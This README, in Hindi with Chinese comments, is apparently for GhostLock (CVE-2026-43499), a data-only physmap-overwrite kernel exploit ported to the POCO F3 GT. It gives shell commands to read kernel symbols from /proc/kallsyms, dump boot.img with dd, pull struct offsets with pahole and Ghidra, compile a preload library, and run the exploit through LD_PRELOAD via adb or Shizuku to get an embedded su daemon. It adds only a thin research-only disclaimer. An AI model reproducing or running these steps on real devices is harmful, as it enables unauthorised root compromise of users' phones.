GhostLock (CVE-2026-43499) — POCO F3 GT (aresin)

MediaTek Dimensity 1200 (MT6893) के लिए डेटा-ओनली physmap overwrite एक्सप्लॉइट। कर्नेल: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM।

⚠️ पूर्वापेक्षाएँ

• डिवाइस: POCO F3 GT / Redmi K40 Gaming Edition (कोडनेम: aresin)
• चिपसेट: MediaTek Dimensity 1200 (MT6893)
• सिस्टम: Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
• कर्नेल: 4.14.186-g0dc1d312efb3
• BL अनलॉक करने की आवश्यकता नहीं — Shizuku (वायरलेस डिबगिंग) के माध्यम से shell विशेषाधिकार प्राप्त करके चलाया जा सकता है
• Shizuku या adb shell से arm64 बाइनरी निष्पादित की जा सकती है
• चलाने के बाद डिवाइस रीबूट होगा (kernel panic — अपेक्षित व्यवहार)। लॉग सहेजने के लिए पहले adb logcat कनेक्ट करें।

✅ भेद्यता शर्त जाँच

🔧 अनुकूलन चरण

चरण 1: कर्नेल प्रतीक पते निकालें

# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt

यदि root (Magisk) है, तो सीधे /proc/kallsyms से निकाला जा सकता है:

adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"

चरण 2: vmlinux निकालें और स्ट्रक्चर ऑफसेट का विश्लेषण करें

विधि A: boot.img से vmlinux निकालें

# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img

# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)

# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf

# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"

विधि B: Ghidra से विश्लेषण करें

1. Ghidra में vmlinux.elf खोलें
2. rt_mutex_waiter और task_struct स्ट्रक्चर खोजें
3. प्रत्येक फ़ील्ड का ऑफसेट रिकॉर्ड करें

चरण 3: target.h भरें

निकाले गए ऑफसेट को target.h में सभी 0xTODO स्थानों पर भरें।

मुख्य ऑफसेट तुलना तालिका:

चरण 4: संकलन

# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973

# 编译
make preload TARGET_HEADER=target.h

# 产物: build/bin/preload.so

चरण 5: परीक्षण

# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true

# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

📊 अपेक्षित व्यवहार

⚠️ महत्वपूर्ण सावधानियाँ

4.14.x बनाम 6.1.x कर्नेल अंतर

1. rt_mutex_waiter स्ट्रक्चर अलग है:

   • 4.14.x plist_node का उपयोग करता है, rb_node का नहीं
   • फ़ील्ड ऑफसेट पूरी तरह से भिन्न हैं
   • संभवतः deadline / ww_ctx फ़ील्ड नहीं हैं

2. task_struct लेआउट अलग है:

   • 4.14.x में pi_blocked_on, pi_lock आदि के ऑफसेट 6.1.x से भिन्न हैं
   • uclamp से संबंधित फ़ील्ड 4.14.x में मौजूद नहीं हो सकते

3. KASLR कार्यान्वयन अलग है:

   • 4.14.x का KASLR रैंडमाइज़ेशन तरीका 6.1.x से अलग है
   • लीक विधि को समायोजित करने की आवश्यकता हो सकती है

4. Android 13 बनाम 14 सुरक्षा अंतर:

   • SELinux नीतियाँ भिन्न हो सकती हैं
   • /proc/self/pagemap एक्सेस प्रतिबंध भिन्न हो सकते हैं

ऑफसेट सत्यापन

ऑफसेट भरने के बाद, Ghidra से क्रॉस-सत्यापन करने की सलाह दी जाती है:

1. Ghidra में vmlinux.elf खोलें
2. rt_mutex_waiter स्ट्रक्चर पर जाएँ
3. पुष्टि करें कि प्रत्येक फ़ील्ड का ऑफसेट target.h से मेल खाता है

📁 फ़ाइल संरचना

ghostlock-aresin/
├── README.md              # 本文件
├── Makefile               # 编译脚本
├── target.h               # 目标设备偏移定义 (需要填写)
├── src/                   # 源码
│   ├── main.c             # 主利用逻辑
│   ├── util.c             # 工具函数
│   ├── slide.c            # KASLR 泄漏
│   ├── fops.c             # 文件操作
│   ├── pipe.c             # pipe 相关
│   ├── preload.c          # LD_PRELOAD 入口
│   ├── su_daemon.c        # su 守护进程
│   ├── su_blob.S          # su 二进制嵌入
│   ├── standalone.c       # 独立运行
│   ├── common.h           # 公共定义
│   └── offset.h           # 偏移计算
├── tools/
│   └── extract_offsets.sh # 偏移提取脚本
└── build/
    ├── bin/               # 编译产物
    └── embed/             # 嵌入文件

📜 लाइसेंस

केवल अनुसंधान/शैक्षिक उद्देश्यों के लिए। अपने जोखिम पर उपयोग करें।

मूल PoC: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/ इसके लिए अनुकूलित: ghostlock-aresin द्वारा POCO F3 GT (aresin)